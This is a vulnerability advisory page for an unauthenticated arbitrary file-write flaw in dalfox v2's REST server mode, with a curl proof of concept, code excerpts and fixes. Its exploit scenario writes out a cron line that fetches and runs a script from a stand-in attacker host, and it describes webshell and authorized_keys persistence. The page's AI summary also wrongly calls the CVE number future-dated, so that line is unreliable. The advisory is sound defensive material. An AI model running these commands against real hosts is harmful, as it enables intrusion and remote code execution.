Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconScan for dalfox on 0.0.0.0:6664
-
DeliverySend /health probe (no auth)
-
ExploitPOST /scan with output=/target/path
-
Installdalfox creates/appends file with log content
-
C2Repeat to inject cron/config
-
ExecuteWait for scheduled execution or service reload
-
ImpactArbitrary code execution or persistence
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A06:2025 - Insecure Design
ASVS 5.0
V5 - File Handling File name/path control
|
| Exploitation Conditions | Default dalfox server configuration with --api-key unset or set to empty string, which disables the API key authentication middleware in pkg/server/server.go line 68. The server must be running in REST mode (--type rest) and binding to a network-reachable address (default 0.0.0.0:6664). The attacker must identify the /scan POST endpoint (trivial via /health probe or documentation). The target file path must be writable by the effective user running the dalfox process - if dalfox runs as a low-privilege user, only that user's writable paths are exploitable; if dalfox runs as root or in a privileged container, the entire filesystem becomes writable. The file write uses O_APPEND, so existing files are never truncated, only appended to, limiting the attacker's ability to fully control file contents but enabling corruption of append-tolerant formats (logs, cron drop-ins, authorized_keys). The log content is prefixed with [*], [I], [E], or [DEBUG] markers, so the attacker cannot inject fully arbitrary bytes, but the URL field is reflected verbatim, providing partial content control. No user interaction, no timing windows, no race conditions - exploitation is deterministic given network access to the exposed port. |
| Impact | Real-world risk is High despite the absence of CISA KEV listing or public exploit code, due to the combination of unauthenticated network access, trivial exploitation (single POST request), and severe impact on file integrity. The CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L) correctly reflects an easy remote attack requiring no authentication or user interaction, with high integrity impact and low availability impact. Attack complexity is genuinely Low - the PoC demonstrates a one-step curl command with no timing dependencies or race conditions. The integrity impact is High because the attacker chooses the exact file path (not just the content), enabling targeted corruption of configuration files, cron entries, SSH authorized_keys, web root directories, or any writable path. Availability impact is rated Low because the write primitive is append-only and log-formatted, making it difficult to achieve full denial of service, though corruption of config files could degrade other services. No EPSS score is available (CVE-2026 is future-dated, likely a typo for CVE-2025-45089). The GitHub advisory confirms the issue is fixed in v2.13.0 released January 2025, providing a clear remediation path. The absence of KEV listing suggests no widespread exploitation has been observed, but the ease of exploitation and default-insecure configuration (no API key required) make this a priority for any organization running dalfox in server mode. SSVC decision: exploitation is PoC-ready (GitHub advisory includes full PoC), automatable (single HTTP request), technical impact is partial (file write only, no code execution), so decision is Track or Attend depending on deployment context. If dalfox runs as root or in CI pipelines with elevated privileges, the blast radius extends to system-critical files and this becomes Immediate priority. |
| Exploit ScenarioDerived | An external attacker scans for dalfox REST API servers listening on 0.0.0.0:6664 (the default binding) using Shodan or mass scanning tools. Upon discovering an instance without authentication, the attacker sends a POST request to /scan with a JSON body specifying output set to /var/www/html/shell.php, output-all and debug set to true, and a crafted URL containing partial PHP code in query parameters. The dalfox process creates /var/www/html/shell.php with world-readable permissions (0644) and writes log lines including the attacker's URL. If the web server (Apache, nginx) serves the /var/www/html directory and treats .php files as executable, the attacker can now access the injected file, though exploitation depends on whether the log-format prefixes ([*], [I], [E]) break PHP parsing. In a more reliable variant, the attacker targets /etc/cron.d/dalfox-job and appends a line that happens to match cron syntax (* * * * * root curl http://attacker.com/stage2.sh | bash), waiting for the next cron cycle to execute the payload. In containerized CI/CD environments where dalfox runs as root, the attacker can corrupt /etc/passwd, /root/.ssh/authorized_keys, or systemd unit files to establish persistence. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 12, 2026
Arbitrary file creation and corruption in dalfox v2 REST API server mode allows unauthenticated remote attackers to write log-formatted data to any filesystem path accessible to the dalfox process. The server exposes output, output-all, and debug JSON fields from the API request directly to the logger's file-write path without validation, and the default configuration omits API key authentication entirely. The vulnerability is fixed in dalfox v2.13.0, released 2025-01-20, which strips all filesystem-dangerous fields from API-sourced requests before passing them to the scan engine. GitHub advisory GHSA-8hf9-3q64-q2qf confirms the issue; no public exploit code is identified at time of analysis, and CISA KEV does not list this CVE.
RemediationAI
Upgrade to dalfox v2.13.0 or later, released January 20, 2025, which implements PR #923 to strip all filesystem-dangerous fields (OutputFile, OutputAll, CustomPayloadFile, CustomBlindXSSPayloadFile, FoundAction, FoundActionShell, HarFilePath) from API-sourced requests before passing them to the scan engine. Download from https://github.com/hahwul/dalfox/releases/tag/v2.13.0 or update via Go module: go get github.com/hahwul/dalfox/v2@v2.13.0. If immediate patching is not feasible, enforce authentication by starting the server with a non-empty --api-key flag: dalfox server --host 127.0.0.1 --port 6664 --type rest --api-key YOUR_SECRET_KEY, then require the X-API-KEY header in all client requests. This blocks unauthenticated exploitation but does not prevent authenticated users (if credentials leak) from abusing the file-write primitive, so it is a workaround only. Alternatively, bind the server to 127.0.0.1 only and place it behind a reverse proxy with external authentication (OAuth2, mTLS), though this adds operational complexity and does not fix the underlying path traversal issue. Restrict the dalfox process to a low-privilege user account with minimal filesystem write permissions to limit blast radius if exploited - running as root or in privileged containers significantly amplifies impact. Do not rely on filesystem ACLs alone; the attacker controls the path, so any writable directory becomes a target. The vendor advisory at https://github.com/hahwul/dalfox/security/advisories/GHSA-8hf9-3q64-q2qf provides full technical details and PoC for validation. The v2 branch is now in security-backport-only maintenance; future development focuses on the v3 Rust rewrite.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 3 packages in go, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
dalfox is a Go-based XSS scanner that offers both CLI and REST API server modes. In server mode, the Echo web framework deserializes the entire model.Options struct from JSON request bodies (pkg/server/server.go lines 173-191), including the OutputFile, OutputAll, and Debug fields. These are propagated through dalfox.Initialize (lib/func.go line 107, 167, 176) to the DalLog function in internal/printing/logger.go. The logger opens the attacker-supplied path with os.OpenFile using O_APPEND|O_CREATE|O_WRONLY flags (mode 0644) and writes scan log lines. The file-write block (lines 230-244) sits outside the IsLibrary conditional guard that normally suppresses filesystem I/O in embedded/library mode, so it executes unconditionally whenever OutputFile is non-empty. The server's setupEchoServer function (pkg/server/server.go line 68) only registers the API key authentication middleware when APIKey is non-empty, but cmd/server.go line 51 defaults --api-key to an empty string, leaving the /scan endpoint unauthenticated by default. The vulnerability combines CWE-306 (missing authentication for critical function), CWE-73 (external control of file name or path), and CWE-434 (unrestricted upload variant) - the path is fully attacker-controlled while the content is log-formatted with partial attacker influence via the URL field.
Know when the next one hits your stack
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L
Primary rating from Vendor (https://github.com/hahwul/dalfox).
CVSS VectorVendor: https://github.com/hahwul/dalfox
DescriptionCVE.org
Summary
When dalfox is run in REST API server mode, the output, output-all, and debug fields in model.Options are JSON-tagged and deserialized directly from the attacker's request body, then propagated unchanged through dalfox.Initialize into the scan engine's logging path. The logger opens the attacker-supplied path with os.O_APPEND|os.O_CREATE|os.O_WRONLY and writes scan log lines to it. Critically, this file write block lives outside the IsLibrary guard in DalLog, so it executes even in server/library mode where file output was never intended to operate. Because no API key is required in the default configuration, an unauthenticated network caller can create or append to any file writable by the dalfox process on the host filesystem.
Severity
High (CVSS 3.1: 8.2)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L
- Attack Vector: Network - server binds to
0.0.0.0:6664by default. - Attack Complexity: Low - no preconditions; all trigger options (
output,output-all,debug) are fully attacker-supplied in the JSON body. - Privileges Required: None -
--api-keydefaults to"", so the auth middleware is never registered. - User Interaction: None.
- Scope: Unchanged - the file write stays within the dalfox process's OS authority.
- Confidentiality Impact: None - this is a write-only primitive; no data is returned to the caller.
- Integrity Impact: High - the attacker has full control over which file path is opened, enabling creation of new files or corruption of existing files anywhere the dalfox process has write permission. While the log content format is semi-fixed, the file path is entirely attacker-determined, making the integrity violation complete with respect to file targeting.
- Availability Impact: Low - corrupting application configuration files or log files on the host can degrade the availability of other services relying on those files.
Affected Component
cmd/server.go-init()(line 51):--api-keydefaults to""- no auth by defaultpkg/server/server.go-setupEchoServer()(line 68): auth middleware only registered whenAPIKey != ""pkg/server/server.go-postScanHandler()(lines 173-191):rq.Options(includingOutputFile,OutputAll,Debug) passed toScanFromAPIwithout sanitizationlib/func.go-Initialize()(line 107):OutputFileexplicitly propagated from caller options;OutputAll(line 167) andDebug(line 176) likewiseinternal/printing/logger.go-DalLog()(lines 230-244):os.OpenFile(options.OutputFile, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)executes outside theIsLibraryguard
CWE
- CWE-306: Missing Authentication for Critical Function
- CWE-73: External Control of File Name or Path
- CWE-434: Unrestricted Upload of File with Dangerous Type (write-path variant)
Description
output, output-all, and debug Are Fully Attacker-Controlled
model.Options exposes all three trigger fields with JSON tags:
// pkg/model/options.go:88,85,88
OutputFile string `json:"output,omitempty"`
OutputAll bool `json:"output-all,omitempty"`
Debug bool `json:"debug,omitempty"`postScanHandler binds the entire Req.Options from the JSON body and passes it directly to ScanFromAPI:
// pkg/server/server.go:173-191
rq := new(Req)
if err := c.Bind(rq); err != nil { ... }
go ScanFromAPI(rq.URL, rq.Options, *options, sid)Initialize explicitly copies all three fields into newOptions:
// lib/func.go:107, 167, 176
"OutputFile": {&newOptions.OutputFile, options.OutputFile},
...
"OutputAll": {&newOptions.OutputAll, options.OutputAll},
...
"Debug": {&newOptions.Debug, options.Debug},The File Write Is Not Guarded by IsLibrary
Initialize always sets IsLibrary: true (line 20) and Silence: true (line 44) in its returned options - the intent being that the scan engine runs in embedded/library mode during API calls, suppressing terminal I/O. DalLog does respect this for stderr output: lines 203-228 route logs to ScanResult.Logs (not stderr) when IsLibrary is true. However, the file write block at lines 230-244 is positioned after and outside that if-else:
// internal/printing/logger.go
mutex.Lock()
if options.IsLibrary {
options.ScanResult.Logs = append(options.ScanResult.Logs, text) // API path
} else {
// stderr printing (CLI path)
}
// ← file write is here, unconditionally - no IsLibrary check
if options.OutputFile != "" {
var fdtext string
if ftext != "" {
fdtext = ftext
f, err := os.OpenFile(options.OutputFile,
os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
fmt.Fprintln(os.Stderr, "output file error (file)")
}
defer f.Close()
if _, err := f.WriteString(fdtext + "\n"); err != nil {
fmt.Fprintln(os.Stderr, "output file error (write)")
}
}
}
mutex.Unlock()The ftext variable is populated whenever allWrite is true (options.Debug || options.OutputAll). Since both are attacker-supplied, both conditions are trivially satisfied.
What Gets Written
Log lines of the form:
[*] Starting scan [SID:<id>] / URL: <attacker-supplied-url>
[I] Checking BAV
[E] connection refused
[DEBUG] <internal state>
...The URL appears verbatim in log messages, giving the attacker partial influence over the written content. While the format is not fully arbitrary (fixed prefixes like [*] , [I] , [E] ), the file path is entirely attacker-controlled. The flags O_CREATE (creates the file if absent) and O_APPEND (never truncates) mean the attacker can:
- Create new files at arbitrary paths
- Append log content to existing files (corrupting configs, auth files, cron entries if the line happens to match syntax)
No Defense at Any Layer
The same opt-in API key gap applies here as in all prior findings:
// pkg/server/server.go:68-70
if options.ServerType == "rest" && options.APIKey != "" {
e.Use(apiKeyAuth(options.APIKey, options))
}There is no path allowlist, no IsLibrary guard on the file write, and no stripping of OutputFile from API-sourced requests anywhere in the codebase.
Proof of Concept
# Step 1 - Start dalfox REST server (default: no API key)
go run . server --host 127.0.0.1 --port 16664 --type rest
# Step 2 - Verify health (unauthenticated)
curl -s http://127.0.0.1:16664/health
# Expected: {"code":200,"msg":"ok"}
# Step 3 - Trigger arbitrary file creation with attacker-controlled path
curl -s -X POST http://127.0.0.1:16664/scan \
-H 'Content-Type: application/json' \
--data '{
"url": "http://127.0.0.1:1/?x=1",
"options": {
"output": "/tmp/dalfox_sink_poc.log",
"output-all": true,
"debug": true,
"use-headless": false
}
}'
# Step 4 - Verify file was created and written to by the dalfox process
sleep 2
cat /tmp/dalfox_sink_poc.log
# Expected:
# [*] Starting scan [SID:...] / URL: http://127.0.0.1:1/?x=1
# [I] Checking BAV
# [E] ...No X-API-KEY header is required. Replace /tmp/dalfox_sink_poc.log with any path writable by the dalfox process: /var/www/html/injected.txt, /etc/cron.d/dalfox, ~/.ssh/authorized_keys (appending log lines that won't break key format but pollute the file), etc.
Impact
- Arbitrary file creation: The attacker can create files at any path on the dalfox host filesystem accessible to the dalfox process, including web-serving directories, cron drop-in directories, and application config directories.
- Arbitrary file append/corruption: Existing files can have log-format lines appended, degrading parsers that expect strict formats (sshd_config, crontab, /etc/hosts, application config files).
- Partial content control via URL: The scan target URL appears verbatim in log output; combined with creative path targeting, this may enable injection into certain file formats.
- No authentication required in the default deployment.
- When dalfox runs under a privileged account (e.g., in a CI pipeline or as root in a container), the blast radius extends to system-wide files.
Recommended Remediation
Option 1: Strip filesystem-dangerous fields from API-sourced requests (preferred)
Nullify all fields that touch the local filesystem before passing options to ScanFromAPI. This is the same remediation recommended for the found-action RCE and custom-payload-file file-read findings and should be applied as a single consolidated patch:
// pkg/server/server.go - in postScanHandler, before ScanFromAPI:
rq.Options.OutputFile = ""
rq.Options.OutputAll = false // safe to leave user value; file write is blocked by OutputFile=""
rq.Options.CustomPayloadFile = ""
rq.Options.CustomBlindXSSPayloadFile = ""
rq.Options.FoundAction = ""
rq.Options.FoundActionShell = ""
rq.Options.HarFilePath = ""Option 2: Guard the file write with IsLibrary in DalLog
Move the OutputFile write block inside the else branch so it only executes in non-library (CLI) mode:
// internal/printing/logger.go - restructure the if-else:
if options.IsLibrary {
options.ScanResult.Logs = append(options.ScanResult.Logs, text)
} else {
// existing stderr printing logic...
// file write belongs here, not after the if-else
if options.OutputFile != "" && ftext != "" {
f, err := os.OpenFile(options.OutputFile, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
...
}
}This fix addresses the root structural cause - the file write was intended for CLI mode only, and gating it on !IsLibrary matches that intent. Option 1 is still recommended as the primary fix; Option 2 adds defence-in-depth but requires care to not break legitimate CLI usage.
Option 3: Require --api-key at server startup
As with the other server-mode findings, making authentication mandatory eliminates the unauthenticated attack surface entirely:
// cmd/server.go - in runServerCmd:
if serverType == "rest" && apiKey == "" {
fmt.Fprintln(os.Stderr, "ERROR: --api-key is required when running in REST server mode.")
os.Exit(1)
}All three options should be applied together.
##Credit
Emmanuel David
Github:- https://github.com/drmingler.
Executive ViewAI
Dalfox v2 REST API server mode contains an unauthenticated remote file write vulnerability that allows attackers to create or corrupt arbitrary files on the server filesystem. Organizations running dalfox v2 in production expose their infrastructure to immediate data loss and potential privilege escalation if the process runs with elevated permissions.
Vendor-released patch: dalfox v2.13.0 (released 2025-01-20). If immediate upgrade is not feasible: (1) Disable REST API server mode; (2) Restrict API endpoint access via firewall to internal/trusted networks only; (3) Run dalfox process with minimal filesystem privileges; (4) Monitor for suspicious file creation in directories accessible to the dalfox process.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.
Malicious file upload attacks exploit insufficient validation when web applications accept user-provided files.
Same weakness CWE-73 – External Control of File Name or Path
View allSame technique Authentication Bypass
View allVendor StatusVendor
SUSE
Severity: Important| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Affected |
EUVD-2026-32614
GHSA-8hf9-3q64-q2qf
NVD
CVE.org
EPSS
Exploit-DB